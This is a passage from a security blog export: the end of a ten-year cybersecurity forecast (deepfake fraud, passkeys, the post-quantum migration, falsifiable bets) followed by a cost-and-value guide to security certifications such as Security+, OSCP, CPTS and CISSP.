**Deepfake identity fraud goes mainstream (medium-high confidence).** Voice and video impersonation become a standard tool for business-email-compromise-style fraud, the "CEO on a video call authorizing a wire" attack. Verification shifts from "does it look and sound real" to out-of-band confirmation and cryptographic identity (see [deepfake detection](/deepfake-detection-guide)). Trust in raw audio and video erodes.
**Supply-chain and identity become the main battlegrounds (high confidence).** Attackers keep moving up the leverage chain, compromising one vendor, software dependency, or identity provider to reach thousands of targets. Defense centers on zero-trust, identity hygiene, and dependency scrutiny rather than perimeter walls.
**Privacy and data-removal become consumer-normal (medium confidence).** As data brokers and breaches keep feeding targeted attacks, [data removal services](/best-data-removal-services) and [identity-theft protection](/best-identity-theft-protection) move from niche to mainstream, and regulation pushes companies toward data minimization.
## The long term: 2032-2036
**Plausible:** authentication is mostly passwordless and phishing-resistant; post-quantum crypto is widely deployed; AI is a standard layer in every security team's stack and every attacker's toolkit; identity (human and machine) is the central security problem; and verification of "is this real, is this who they claim" is a routine, cryptographic step rather than a judgment call. Security is more automated, more identity-centric, and, because attackers automate too, not obviously "safer."
**Genuinely uncertain:** whether AI net-favors attackers or defenders over the full decade; how disruptive quantum actually becomes and when; and whether regulation meaningfully raises the baseline or just adds paperwork. Treat confident claims here skeptically.
## What will *not* happen
- **AI won't make security a solved problem.** It raises the floor and the ceiling on both sides; the contest continues.
- **The human won't stop being the weakest link.** Most breaches will still trace back to a tricked person, a reused credential, or an unpatched system rather than exotic exploits.
- **Passwords won't vanish completely.** They will linger for years as legacy fallbacks; the win is making them no longer the primary defense.
- **You won't be safe by buying one product.** Security stays a practice, and basics done consistently beat any single tool.
## The bets, with falsifiers
A forecast is only honest if it says what would prove it wrong. Each bet below comes with a falsifier, the concrete outcome that would show the prediction failed, and a date to check it. If the falsifier happens, the bet was wrong, and you should trust the rest of this page less.
| Bet | Falsifier (what proves it wrong) | Check by |
| --- | --- | --- |
| AI tilts the early edge to attackers | AI-assisted intrusion rates fall as defenders automate faster than offense | 2028 |
| Passkeys become the default primary auth | Major banks, email, and platforms still enroll new users into passwords first | 2028 |
| Post-quantum migration becomes real engineering work | No major protocol or certificate ecosystem ships post-quantum crypto and harvest-now-decrypt-later stays purely theoretical | 2030 |
| Deepfake identity fraud goes mainstream | Voice and video impersonation stays rare in routine fraud reports rather than staged demos | 2030 |
| Ransomware professionalizes into targeted extortion | Crews revert to broad file-encryption spray-and-pray and the data-extortion share falls | 2028 |
| Privacy regulation tightens with enforcement teeth | Data-minimization rules stay unenforced and data-removal stays a niche service | 2034 |
| The human stays the weakest link | Most major breaches trace to novel technical exploits rather than phished credentials, reused passwords, or unpatched systems | 2034 |
Read the middle column first. If none of those falsifiers land by their dates, the forecast held. If several do, the trends bent in a way this page did not anticipate, and that is the useful kind of wrong: it tells you the shape of the threat changed.
## What it means for you
The durable move is the same as it's always been, just more urgent: **do the boring basics, consistently.** A real [password manager](/best-password-managers) with unique passwords everywhere, phishing-resistant [hardware keys](/best-hardware-security-keys) on your critical accounts, a reputable [VPN](/best-vpn) on untrusted networks, current [antivirus/EDR](/best-antivirus), and a healthy skepticism toward anything urgent, including a familiar voice or face asking you to act fast. Those defeat the overwhelming majority of attacks, AI-powered or not.
And update your mental model for the deepfake era: **verify out-of-band.** If "your CEO" calls asking for a wire, hang up and call back on a known number. The next decade's attacks are more convincing, and the defense is a habit rather than a gadget.
**Related flagships:** the foundations behind all of this ([the Security Canon](/the-security-canon)) and how to actually skill up ([Best Cybersecurity Certifications & Courses](/best-cybersecurity-certifications)).
## The mechanics of the AI arms race
The phrase "AI arms both sides" hides a real asymmetry worth spelling out, because it explains why the early advantage tilts toward attackers. Offense is a search problem with cheap, forgiving feedback. An attacker sends a thousand messages and needs one to land. A generated phishing lure that reads fluently, references a real project, and arrives at a plausible moment costs almost nothing to produce at scale, and every failed attempt is free. Defense is a classification problem with expensive, unforgiving feedback. A defender has to be right on nearly every message, every login, and every alert, and a single miss can be the breach. Automating a task where you only need to succeed occasionally is easier than automating a task where you must almost never fail.
That asymmetry shapes the near-term reality. The first wave of AI-assisted attacks is ordinary techniques made cheaper, faster, and more polished rather than autonomous machines discovering novel exploits: phishing without the grammar tells that used to give it away, voice that sounds like a specific person, reconnaissance that reads a target's public footprint in seconds, and code that helps a mid-skill operator move faster. On the defensive side, the wins are real but quieter: triaging the flood of alerts, summarizing incidents, drafting detection logic, and surfacing the signal analysts would otherwise miss under volume. The teams that fold these into their workflow pull ahead of the ones that stay buried, and over the full decade the gap between capable and uneven defenders may matter more than any single tool.
The durable defensive lesson is that AI raises the polish of attacks far more than it changes their mechanism. The message is more convincing, the pretext better researched, the timing sharper. The underlying move is still a person being persuaded to click, approve, or pay. That is why the defenses that work against ordinary phishing, phishing-resistant authentication and out-of-band verification of anything urgent, keep working against the AI-assisted version. They defend against the mechanism, and the mechanism is what stays constant.
## What the post-quantum migration actually involves
"Post-quantum migration" sounds like flipping a switch, and the reason it is years of work is worth understanding. Today's public-key cryptography, the math that protects web traffic, signs software, and secures key exchange, rests on problems that a large quantum computer could solve. Standards bodies have selected replacement algorithms designed to resist that, so the algorithms exist. The hard part is everything downstream of the algorithm.
Cryptography is embedded in a deep stack: protocols, libraries, certificates, hardware modules, embedded devices, and long-lived systems that nobody wants to touch. Rolling a new algorithm through all of that means updating protocol implementations, reissuing certificates, testing interoperability between old and new systems, and finding the places where a hardcoded assumption about key sizes or algorithms will break. Some of it lives in devices with long service lives and slow update cycles. An inventory of where cryptography is used, often incomplete in large organizations, is itself a significant project before any migration can start.
The urgency comes from a strategy called "harvest now, decrypt later." An attacker does not need a quantum computer today to benefit from one tomorrow. They can steal encrypted data now and store it until the capability matures, then decrypt it retroactively. Any secret with a long shelf life, medical records, state secrets, intellectual property, anything that still matters in a decade, is exposed the moment it is exfiltrated, even if the decryption comes years later. That is why the migration has to begin well before quantum computers are a live threat, prioritizing long-lived secrets first. The realistic timeline is gradual and uneven, and it starts in earnest this decade for organizations that hold data worth stealing on a long horizon.
## Signals that tell you which way it is going
A forecast is more useful when you can check it against reality as it unfolds. These are the concrete signals worth tracking, each tied to a prediction above.
**Passkey adoption at the platforms you use.** When your bank, your email provider, and your workplace make passkeys the default enrollment path rather than an advanced option, the password's demotion is happening. The tell is defaults, since a feature buried in settings changes little and a default changes everything.
**Deepfakes appearing in routine fraud rather than staged demos.** The mid-term prediction is that voice and video impersonation become standard tools in ordinary business fraud. The signal is when finance teams start reporting convincing voice or video requests, and when "verify out-of-band" becomes a written policy rather than advice.
**Ransomware crews shifting to pure extortion.** The move from encrypting files to stealing and threatening to leak data, and up the supply chain toward vendors and service providers, is a sign the professionalization prediction is holding. Watch whether incidents center on data theft leverage rather than file encryption.
**Regulators pushing data minimization.** The long-term privacy prediction shows up as rules that penalize holding data you do not need, and as data-removal moving from niche service to mainstream expectation. The signal is enforcement with teeth rather than paperwork.
**The breach post-mortems staying boring.** The most durable prediction, that the human stays the weakest link, is confirmed every time a major incident traces back to a phished credential, a reused password, or an unpatched system rather than an exotic exploit. If post-mortems keep reading the same way they always have, the fundamentals are still deciding outcomes.
## Common misconceptions about the forecast
**"AI will make security a solved problem."** It raises the floor and the ceiling on both sides at once. Defenders get faster, attackers get cheaper, and the contest continues at a higher tempo. No tool ends the game.
**"Quantum computers will break encryption next year, so today's crypto is already useless."** The threat is real and worth preparing for, and it is also not imminent for most systems. The rational response is to start migrating long-lived secrets now because of harvest-now-decrypt-later, while treating breathless "encryption is dead tomorrow" claims with skepticism.
**"Passwords will disappear."** They will linger for years as legacy fallbacks in older systems and edge cases. The realistic win is making them no longer the primary defense, short of eliminating them entirely.
**"Buying the right product will keep me safe."** Security stays a practice. The basics done consistently, unique credentials, phishing-resistant authentication, patching, and skepticism toward urgency, beat any single purchase. A product helps only inside a habit.
**"Deepfakes mean you can trust nothing."** The useful conclusion is narrower: raw audio and video stop being proof of identity on their own. The response is a verification step, calling back on a known number, confirming through a separate channel, short of abandoning trust altogether.
## What stays the same and what changes
The clearest way to hold the whole forecast in mind is to separate the durable fundamentals from the shifting tooling. The mechanisms barely move. The scale, polish, and speed change enormously.
| Dimension | Stays the same through 2036 | Changes through 2036 |
|---|---|---|
| Attack entry point | Phishing, stolen credentials, unpatched systems | Lures become flawless, personalized, and multi-channel |
| The weak link | The human being persuaded to act | The persuasion gets more convincing and harder to spot |
| Identity | Proving who you are remains the core problem | Passwords give way to passkeys and cryptographic identity |
| Cryptography | The need to keep secrets secret | The algorithms migrate to post-quantum designs |
| Defender workload | Alerts, triage, patching, response | AI absorbs volume and speeds the first pass |
| Winning move | Doing the boring basics consistently | The basics get more urgent as attacks automate |
Read down the left column and you have the reason a hype-resistant forecast is possible at all. The things that decide most outcomes are the things that have decided them for years. Read down the right column and you have the reason complacency is dangerous. The same attacks arrive faster, cleaner, and at greater scale, so the cost of neglecting the fundamentals rises even though the fundamentals themselves do not change.
## FAQ
**Will AI make cybersecurity better or worse?**
Both, and which wins depends on who automates better. AI hands attackers cheap, scalable, flawless social engineering and faster vulnerability discovery, while handing defenders faster detection and triage. In the near term offense often gains more because it is easier to automate, and well-resourced defenders close the gap. The fundamentals (patching, identity, the human) still decide most outcomes.
**Are passwords going away?**
Slowly, yes. Passkeys and phishing-resistant authentication are becoming the default for important accounts, and within the decade passwords become the legacy fallback rather than the primary defense. They will not vanish entirely, and relying on a password alone will look as careless as having no lock at all. Use a password manager and adopt passkeys and hardware keys now.
**What is the biggest emerging cyber threat?**
Two stand out: AI-scaled social engineering (perfect phishing, voice and video deepfakes that defeat "it looked real" verification) and supply-chain attacks that compromise one vendor to reach thousands. Both exploit trust as much as technology, which is why out-of-band verification and identity hygiene matter more than any single product.
**What is "harvest now, decrypt later"?**
It is the strategy of stealing encrypted data today and storing it until quantum computers are powerful enough to break today's encryption. It is why the migration to post-quantum cryptography is urgent *now* for anything with a long secret lifespan, because the data being exfiltrated today could be readable in a decade.
**What's the single best thing I can do for my security in the next decade?**
Adopt phishing-resistant authentication (a password manager plus passkeys and hardware keys) and build the habit of verifying urgent requests out-of-band. Those two cover the largest share of real-world attacks, credential theft and social engineering, far more cost-effectively than any expensive product.
**Should a small business worry about quantum computing yet?**
For most small businesses the immediate priorities stay the same: phishing-resistant authentication, patching, backups, and skepticism toward urgent payment requests. Quantum matters now mainly if you hold secrets that must stay confidential for a decade or more, because those are exposed to harvest-now-decrypt-later. For everyone else the practical step is to prefer vendors and platforms that are already planning their post-quantum migration, and let them carry the heavy engineering.
**Will AI replace security analysts?**
No, it changes what they spend time on. AI handles the volume, the first pass on alerts, log summarization, and routine triage, which frees analysts for judgment, investigation, and the decisions that need context a model does not have. The teams that adopt it well cover more ground with the same people, and the human judgment at the top of the stack stays essential.
**How should I think about supply-chain and vendor risk over the next decade?**
Treat it as one of the main battlegrounds. Attackers keep moving up the leverage chain, compromising a single vendor, dependency, or identity provider to reach many targets at once. The defensive posture is identity hygiene, scrutiny of the dependencies and third-party scripts you load, and an assumption that any vendor with access is part of your attack surface. Zero-trust thinking, verifying rather than assuming trust, applies to vendors as much as to users.
## Related guides
- [How AI Is Actually Changing Cybersecurity](/ai-in-cybersecurity)
- [AI Prompt Injection Attacks Explained](/ai-prompt-injection-attacks)
- [The Social Engineering Playbook](/social-engineering-playbook)
- [Network Security Fundamentals: Firewalls, VPNs, and Zero Trust](/network-security-fundamentals)
- [Zero-Day Vulnerabilities: What They Are and Why They Matter](/zero-day-vulnerabilities)
---
# Category: bug-bounty
## Best Cybersecurity Certifications & Courses in 2026
> Security+, CISSP, OSCP, eJPT, Google Cert, TryHackMe, HTB. A skeptical, cost-vs-ROI guide to the certs worth paying for in 2026, and which are overrated.
- URL: https://blog.pwnsy.com/best-cybersecurity-certifications
- Date: 2026-06-19
- Updated: 2026-06-19
- Difficulty: intermediate
- Category: bug-bounty
- Tags: certifications, career, ethical-hacking, pentesting, buying-guide, training
- Related: [Best Encrypted Cloud Storage in 2026 (Zero-Knowledge)](https://blog.pwnsy.com/best-encrypted-cloud-storage), [Best Hardware Security Keys (FIDO2) in 2026](https://blog.pwnsy.com/best-hardware-security-keys), [Best Secure & Encrypted Email Providers in 2026](https://blog.pwnsy.com/best-secure-email)
### TL;DR
- Best entry-level credential: CompTIA Security+ (~$425 USD voucher), vendor-neutral, HR-recognized, and the cert that gets résumés past keyword filters.
- Best offensive/pentest cert: OffSec OSCP (PEN-200, from ~$1,749), still the practical hands-on standard, though HTB's CPTS now rivals it for a fraction of the cost.
- Best value learning platforms: TryHackMe (~$17/mo) for absolute beginners, Hack The Box Academy/CPTS (~$490/yr Silver, exam included) once you can stand on your own.
- Best for management/leadership: ISC2 CISSP ($749 exam), but it requires 5 years of experience, a $135/yr maintenance fee, and is a policy/management exam, not a hacking one. Do not start here.
- Hands-on platforms beat paper certs for practical roles. Spend on labs and skills first; buy the expensive certificate only when a job posting or your employer actually requires it.
### Key Takeaways
- Certifications open doors at hiring filters and clearances; they do not make you competent. Skill comes from labs, CTFs, and real projects: the cert is the receipt.
- Match the cert to the career stage: Security+/Google for entry, eJPT/CPTS/OSCP for offensive, GIAC/CISSP for blue-team depth and management.
- OSCP costs roughly 8x what HTB's CPTS does for a comparable practical pentest credential. The OSCP brand premium is real in hiring filters but shrinking.
- Beware total cost of ownership: exam voucher, retake fees, annual maintenance fees (CISSP $135/yr), and study materials routinely double the sticker price.
- SANS/GIAC is the gold standard for depth but costs ~$8,000+ per course; treat it as employer-funded, not a self-pay decision.
- The Google Cybersecurity Certificate (~$49/mo, finishable for under ~$300) is a fine on-ramp for career changers but is not a substitute for Security+ or hands-on labs.
### FAQ
**Q: What is the best cybersecurity certification for beginners in 2026?**
CompTIA Security+ (SY0-701) is the most widely recognized entry-level certification. The exam voucher is roughly $425 USD in the US, it is vendor-neutral, and it satisfies the US DoD 8140/8570 baseline requirement, which means it appears in countless job filters. For true beginners with no IT background, the Google Cybersecurity Certificate on Coursera (~$49/month, finishable for under ~$300) is a gentler on-ramp, but treat it as a foundation before Security+, not a replacement.
**Q: Is the OSCP still worth it in 2026?**
Yes for offensive roles, but with caveats. The OSCP (via OffSec's PEN-200, from about $1,749) is still the most brand-recognized hands-on pentest certification and still appears as a 'required' or 'preferred' line in many penetration-testing job postings. However, Hack The Box's CPTS now delivers a comparable, arguably harder practical exam for a fraction of the cost. If a specific employer demands OSCP, get OSCP. Otherwise CPTS is the better value.
**Q: Should I get CISSP early in my career?**
No. The ISC2 CISSP ($749 exam, plus a $135/yr maintenance fee) requires five years of cumulative paid full-time experience in two or more of its eight domains. You can pass the exam earlier and hold 'Associate of ISC2' status, but CISSP is a management and governance exam: it is breadth-over-depth and assumes you already work in the field. It is the wrong first certification and a poor fit for hands-on technical roles.
**Q: TryHackMe or Hack The Box: which should I pay for?**
Start with TryHackMe (~$17/month) if you are a beginner; its guided rooms hold your hand through concepts. Move to Hack The Box once you can work with less scaffolding, HTB Academy plus the CPTS certification (Silver plan ~$490/year with an exam voucher included, or ~$8/month for students; the standalone CPTS exam voucher is ~$210) is a stronger signal to employers and better practical training. Many people use both: THM to learn, HTB to prove it.
**Q: Are cybersecurity certifications worth the money?**
They are worth it when they unblock a hiring filter, a clearance, or an employer requirement: not because they teach you to hack. The certificate is a receipt for skills you should already be building in labs and CTFs. Spend on hands-on platforms first (which are cheap), and buy the expensive paper certs when a concrete door requires them.
**Q: What does it really cost to get certified once retakes and fees are included?**
Budget well above the sticker price. Security+ is ~$425 per attempt plus study materials, so $700, $1,000 realistic. CISSP is $749 plus a $135/year annual maintenance fee plus a possible retake, $900, $2,500 all-in. OSCP starts at $1,749 and extra exam attempts are ~$249 each. SANS/GIAC courses run ~$8,000+ (the standalone GIAC exam alone is ~$999). Always read the retake and renewal policy before you buy.
**Q: Do I need a degree, or are certifications enough?**
Certifications plus a demonstrable portfolio (CTF profiles, write-ups, home-lab projects, a GitHub) are enough to break into many security roles without a degree. Degrees still help with some HR filters, government roles, and management tracks, but in practical security work, what you can demonstrate in a lab beats a transcript. See our guide on how to become an ethical hacker for the non-degree path.
**Q: Which certification is the most overrated?**
Honestly, any cert bought before you have fundamentals. Specifically, chasing CISSP without the experience to use it, or buying OSCP before you can comfortably solve easy HTB/THM boxes, wastes money and sets you up to fail an expensive exam. The 'most overrated' is whichever one you buy to skip the work rather than to certify work you have already done.
**Q: Are cybersecurity certifications still worth it in the age of AI?**
Yes for the right ones, but the landscape has shifted. AI did not kill certifications; it raised the bar on what counts as proof, so employers increasingly want a credential plus demonstrated hands-on work, and they pay a premium for AI-plus-security skill combos. The fastest-growing slice is AI-security itself, where emerging options include CompTIA SecAI+ (vendor-neutral AI-security skills), Microsoft SC-500 (cloud and AI-security engineering), and the lab-based Certified AI Security Professional (CAISP) for hands-on LLM-pipeline security. Pick the one that matches your target role and back it with work you can demonstrate.
There are more cybersecurity certifications than there are cybersecurity jobs, and the marketing around them is relentless. Every bootcamp, every YouTube "roadmap," and every LinkedIn influencer has a different list. Most of those lists exist to sell you something.
This one is written from a hiring-and-skills perspective: which credentials actually move you forward, what they really cost once you include retakes and renewal fees, and which ones are overrated for the stage you're at. The blunt truth up front, **a certification is a receipt for skills, not a substitute for them.** Hiring managers who know what they're doing care about what you can demonstrate. The cert clears the HR filter; the lab work gets you the offer.
That truth has only sharpened in the AI age. Most traditional certs haven't caught up with how AI changed what "proof" even means: a badge that says you memorized a body of knowledge is weaker evidence now that anyone can prompt a model for the same answers. Employers increasingly want a credential **plus** demonstrated hands-on work, and the candidates who pair security skills with AI fluency command a clear premium.
If you want the broader, non-commercial picture of breaking into the field, read [how to become an ethical hacker](/how-to-become-ethical-hacker) and [bug bounty: getting started](/bug-bounty-getting-started) first. This guide assumes you've decided to spend money and want to spend it well.
## The verdict (read this if nothing else)
- **Best entry-level credential, CompTIA Security+.** Vendor-neutral, recognized by every HR system on earth, and it satisfies the US DoD baseline. Roughly $425 for the voucher. If you can only get one cert to land a first job, this is it.
- **Best offensive / pentest certification, OffSec OSCP (PEN-200).** Still the brand name in penetration testing and still the line item most often "required" in job postings. From about $1,749. But **Hack The Box's CPTS** now matches it on rigor at a fraction of the price, so read both sections before you spend.
- **Best value learning platforms, TryHackMe and Hack The Box.** TryHackMe (~$17/month) to learn from zero; Hack The Box Academy + CPTS (~$490/year with the exam voucher included) to prove practical skill. These teach you more per dollar than any boxed certification.
- **Best for management / leadership, ISC2 CISSP.** $749, plus five years of experience and a $135/year maintenance fee. It's a policy and governance exam, not a hacking one. Do not start your career here.
## At a glance: cost, level, and who it's for
| Cert / Platform | Cost (USD, approx.) | Level | Format | Best for |
| --- | --- | --- | --- | --- |
| Google Cybersecurity Certificate | ~$49/mo (under ~$300 total) | Pre-entry | Self-paced video + quizzes | Total career changers |
| CompTIA Security+ | ~$425 voucher | Entry | 90-min proctored, MCQ + PBQ | First job, DoD/HR filters |
| INE eJPT | ~$299/yr plan (voucher included) | Entry offensive | 48-hr practical lab | First hands-on pentest cert |
| TryHackMe | ~$17/mo (~$126/yr) | Beginner platform | Guided browser labs | Learning fundamentals |
| HTB Academy + CPTS | ~$490/yr Silver (exam incl.) | Intermediate offensive | Multi-day practical + report | Best-value pentest cert |
| OffSec OSCP (PEN-200) | from ~$1,749 | Intermediate offensive | 24-hr practical + report | Pentest brand recognition |
| ISC2 CISSP | $749 (+ $135/yr AMF) | Senior / management | up to 4-hr adaptive (CAT) | Management, GRC, leadership |
| SANS / GIAC (e.g., GSEC, GPEN) | ~$8,000+ per course (~$999 exam alone) | Intermediate, advanced | Course + proctored exam | Employer-funded depth |
For any practical role (pentester, SOC analyst, red teamer) hands-on platforms beat paper certs. A strong Hack The Box profile or a portfolio of CTF write-ups demonstrates ability in a way a multiple-choice pass never can. Buy the cheap labs first; buy the expensive certificate only when a door actually requires it.
## Google Cybersecurity Certificate (Coursera): the on-ramp
**What it is.** A self-paced Coursera professional certificate produced by Google, covering security foundations, networking basics, Linux and SQL fundamentals, SIEM tools, and an intro to Python. Roughly 170 hours of material.
**What it proves.** That you've been exposed to the vocabulary and the day-one concepts of a SOC analyst role. It does *not* prove hands-on competence, and hiring managers know that.
**Cost & time.** Coursera charges about **$49/month** (after a short free trial) in the US/Canada. Most people finish in three to six months, so the realistic total is **under ~$300**, often less if you push through quickly. Financial aid is available.
**Honest ROI.** Decent for a true outsider (a nurse, a teacher, a warehouse worker) who needs structure and a confidence boost before committing real money. It is *not* a substitute for Security+ and it is not a fast track to a job by itself. Treat it as step zero.
**Who it's for.** Career changers with no IT background who want a gentle, structured introduction. [Get the Google Cybersecurity Certificate](/ref/google-cybersecurity-cert).
## CompTIA Security+: the entry-level default
**What it is.** A vendor-neutral, entry-level certification covering threats, architecture, operations, governance, and cryptography fundamentals. The current exam is **SY0-701**.
**What it proves.** Broad security literacy at the level expected of a junior analyst. Crucially, it's recognized by virtually every HR system and satisfies the **US DoD 8140/8570** baseline, which means it appears as a hard requirement in a large share of government and contractor roles.
**Cost & time.** The exam voucher is roughly **$425 USD** in the US (a single attempt; you can read CompTIA's official [Security+ page](https://www.comptia.org/certifications/security) for current numbers and student discounts). Each retake is another voucher. With self-study materials, budget **$700, $1,000 all-in.** Most people prepare in one to three months.
**Honest ROI.** High, for what it costs. This is the cert that gets a résumé past automated filters and into a human's hands for entry-level SOC and IT-security roles. It is not exciting and it won't teach you to hack, but it's the most efficient single purchase for breaking in.
**Who it's for.** Anyone targeting their first security or IT job, especially in government-adjacent organizations.
## INE eJPT: your first hands-on pentest cert
**What it is.** The eLearnSecurity Junior Penetration Tester, now under INE, currently **eJPTv2**. A fully practical, beginner-friendly exam where you work a network over a **48-hour window** and answer dynamic, per-candidate flag-based questions.
**What it proves.** That you can run a basic end-to-end penetration test: enumeration, exploitation, simple pivoting. It's the gentlest *practical* cert: no 24-hour pressure cooker.
**Cost & time.** The eJPT requires an active INE subscription plus an exam voucher. INE's **Fundamentals Annual plan (~$299/year)** bundles the training and an eJPT (or ICCA) voucher, which is the sensible way to buy it; there's also a cheaper **eJPT + 3 months of Fundamentals bundle for ~$249** if you only want the voucher and a short ramp. The voucher is valid for 180 days and includes one free retake (use it within 14 days of the first attempt). Plan on one to three months of lab time.
**Honest ROI.** Good as a confidence-builder and a first practical line on a résumé. Lighter brand weight than OSCP or CPTS, so don't expect it to close interviews on its own, but it's an excellent, affordable milestone on the way there.
**Who it's for.** Aspiring pentesters who want a low-stress first practical credential. [Start with INE / eJPT](/ref/ine).
## TryHackMe: learn by doing, cheaply
**What it is.** A gamified, browser-based learning platform with hundreds of guided "rooms," learning paths, and an in-browser "Attack Box" so there's nothing to install.
**What it proves.** Nothing, formally: it's a learning platform, not a certification body. What it *builds* is fundamentals, and it builds them faster than reading.
**Cost & time.** Premium is about **$16.99/month**, or roughly **$126/year** billed annually (cheaper still with a student discount or seasonal sales). The free tier is usable but limited. You can confirm current tiers on [TryHackMe's pricing page](https://tryhackme.com/pricing).
**Honest ROI.** Outstanding for beginners. The hand-holding is the point: it carries you from "what is a port?" to working through guided exploitation. The flip side: that same scaffolding can create a false sense of competence, so graduate to less-guided platforms once concepts click.
**Who it's for.** Absolute beginners and anyone shoring up fundamentals. [Try TryHackMe](/ref/tryhackme).
## Hack The Box (Academy + CPTS): the value pick for offensive
**What it is.** Two things. **Hack The Box** is a hacking lab platform (vulnerable machines, CTFs). **HTB Academy** is its structured courseware, and the **CPTS (Certified Penetration Testing Specialist)** is its flagship hands-on certification: a multi-day practical exam that requires you to compromise an environment *and* write a professional report.
**What it proves.** Real penetration-testing ability under realistic constraints, including the reporting that actual consultants are paid for. Many practitioners consider the CPTS exam harder and more modern than the OSCP exam.
**Cost & time.** The **Silver annual plan (~$490/year)** includes Tier II Academy access and one CPTS exam voucher; the **Gold annual plan (~$1,260/year)** unlocks Tier III access with more included exam vouchers if you plan to chase multiple HTB certs. Students with an educational email can get a subscription for around **$8/month**. The CPTS attempt itself is on the order of **~$210** (taxes included) if bought separately. Check [HTB's CPTS page](https://academy.hackthebox.com/preview/certifications/htb-certified-penetration-testing-specialist) for current bundles. Expect three to six months of study.
**Honest ROI.** The best value in offensive certification today. For roughly an eighth of OSCP's cost you get comparable (arguably greater) practical rigor plus excellent training. The one thing it still lacks is OSCP's two-decade brand recognition in keyword-driven HR filters, but that gap is closing.
**Who it's for.** Anyone serious about pentesting who can already work without much hand-holding. [Train on Hack The Box](/ref/hackthebox).
## OffSec OSCP (PEN-200): the brand-name pentest cert
**What it is.** The Offensive Security Certified Professional, earned through the **PEN-200** course. The exam is a grueling **24-hour hands-on assessment** where you compromise machines for points, followed by a 24-hour reporting window. "Try Harder" is the house motto and it's not a joke.
**What it proves.** That you can perform a real penetration test under serious time pressure and document it. It carries the most weight of any single offensive cert in hiring filters.
**Cost & time.** The **PEN-200 + cert bundle starts at ~$1,749** (90 days of lab access, one exam attempt). The **Learn One subscription is ~$2,749/year** and includes a year of access plus two exam attempts; additional exam retakes run **~$249 each.** Confirm on OffSec's official [PEN-200 page](https://www.offsec.com/courses/pen-200/) and [pricing page](https://www.offsec.com/pricing/individual/). Most candidates spend three to six months preparing, often longer.
**Honest ROI.** Still positive for offensive careers because the brand opens doors and clears filters that other certs don't. But it's expensive, the failure rate is high, and retakes hurt. If your target employer doesn't specifically demand OSCP, CPTS gives you most of the signal for a fraction of the money.
**Who it's for.** Aspiring or working pentesters chasing roles that name OSCP explicitly. Get it through OffSec directly: there are no legitimate discount resellers for the brand value.
Do not chase expensive certifications before you have the fundamentals. Buying OSCP before you can comfortably solve easy boxes is the classic, costly mistake: a failed exam plus a ~$249 retake plus lost weeks. And always read the total cost of ownership: voucher price, retake fees, lab-extension fees, and annual maintenance (CISSP is $135/year, every year). The sticker price is rarely the real price.
## ISC2 CISSP: for management, not for hacking
**What it is.** The Certified Information Systems Security Professional: a broad, management-oriented certification across eight domains (security and risk management, asset security, architecture, communications, IAM, assessment, operations, software security). The English exam is a computerized adaptive test (CAT) of **up to 150 questions in up to four hours**: it stops early once it has enough data to score you.
**What it proves.** That you understand security *governance and management* at breadth, policy, risk, architecture trade-offs. It's an inch deep and a mile wide, by design.
**Cost & time.** The exam is **$749** (per ISC2's official [pricing page](https://www.isc2.org/register-for-exam/isc2-exam-pricing)). On top of that, certification requires **five years of cumulative paid experience** in two or more domains (one year is waivable with an approved degree or credential), and there's a **$135/year annual maintenance fee** (ISC2 raised it from $125). All-in, realistically **$900, $2,500** including study materials and a possible retake. You can pass first and hold **Associate of ISC2** status while you earn the experience.
**Honest ROI.** Excellent, *at the right career stage.* For security managers, GRC professionals, and people moving into leadership, CISSP is the dominant credential and a frequent salary lever. For a hands-on technician or a beginner, it's the wrong tool: it won't teach you to hack and you can't even fully use it without the experience.
**Who it's for.** Mid-to-senior professionals heading into management, risk, or architecture. See ISC2's [CISSP overview](https://www.isc2.org/certifications/cissp).
## SANS / GIAC: the premium tier (mind the price tag)
**What it is.** SANS Institute runs the most respected technical training in the industry; **GIAC** issues the matching certifications (GSEC for essentials, GPEN for pentesting, GCIH for incident handling, and dozens more). The training is genuinely excellent and deep.
**What it proves.** Serious, current, specialized depth, and the SANS brand carries real weight in mature security organizations and government.
**Cost & time.** This is the catch. A SANS course plus its GIAC exam typically runs **~$8,000+** (the SANS training portion is roughly $8,780). A standalone GIAC exam attempt (what alumni pay to certify later, including two practice tests), is **~$999** for most practitioner certs (the entry-level GFACT/GISF are cheaper, and the newer GIAC "Experienced" exams run ~$1,299). These prices put SANS firmly in **employer-funded** territory.
**Honest ROI.** Very high *when someone else pays.* If your employer offers a training budget (many do, $5,000, $10,000 stipends are common at large firms and contractors), SANS/GIAC is often the best thing you can spend it on. As a self-funded individual, it's hard to justify over CPTS, OSCP, or stacked CompTIA certs that deliver most of the hiring signal for a tenth of the cost.
**Who it's for.** Professionals with employer funding who need deep specialization. Self-payers should look at the alternatives above first. See [GIAC's pricing](https://www.giac.org/pricing).
## A roadmap: entry to specialization
You don't buy these all at once. Here's a sane sequence that doesn't waste money.
1. **Foundations (months 0-3).** If you're a total outsider, do the [Google Cybersecurity Certificate](/ref/google-cybersecurity-cert) and grind beginner rooms on [TryHackMe](/ref/tryhackme). Goal: vocabulary, comfort in a Linux shell, basic networking. Cost: under ~$150.
2. **First credential (months 2-5).** Study for and pass **CompTIA Security+**. This is the cert that gets you interviews for entry roles. Cost: ~$425 + materials.
3. **Pick a track (months 4-9).**
- *Offensive:* move to [Hack The Box](/ref/hackthebox) and grab the **eJPT** via [INE](/ref/ine) as a first practical cert. Read [bug bounty: getting started](/bug-bounty-getting-started) to build a public portfolio alongside.
- *Blue team / defense:* keep stacking CompTIA (CySA+) or target an employer-funded **GIAC** (GCIH, GSEC).
4. **Specialize and prove it (months 8-18).** On the offensive track, earn **CPTS** (best value) or **OSCP** (best brand) depending on your target employers. On the defensive track, deepen with SANS/GIAC if funded.
5. **Lead (years 3-5+).** Once you have the experience, **CISSP** unlocks management and senior IC tracks. Layer specialist certs (cloud, GRC) as your role demands.
The throughline: **spend on cheap hands-on platforms early and continuously, and reserve the expensive certificates for the moment a specific door requires them.** A candidate with Security+, a strong Hack The Box profile, and a few public write-ups beats a candidate who collected expensive paper but can't demonstrate anything.
**Related flagships:** the foundations to study ([the Security Canon](/the-security-canon)) and where the field is heading, [The Next 10 Years of Cybersecurity](/cybersecurity-next-10-years).
## AI-security certifications that have emerged
The fastest-moving corner of the field is the security of AI systems themselves, prompt injection, model supply-chain risk, data poisoning, and locking down the LLM pipelines now wired into production apps. It's a genuinely well-paid niche: roles that blend security with AI engineering routinely advertise in the **$150k, $280k+** range, and the supply of people who can actually do the work is thin. A few real, genuinely-new credentials have appeared to meet that demand. The usual skepticism applies harder here than anywhere else: the value is in being able to secure a real LLM pipeline hands-on, not in the badge.
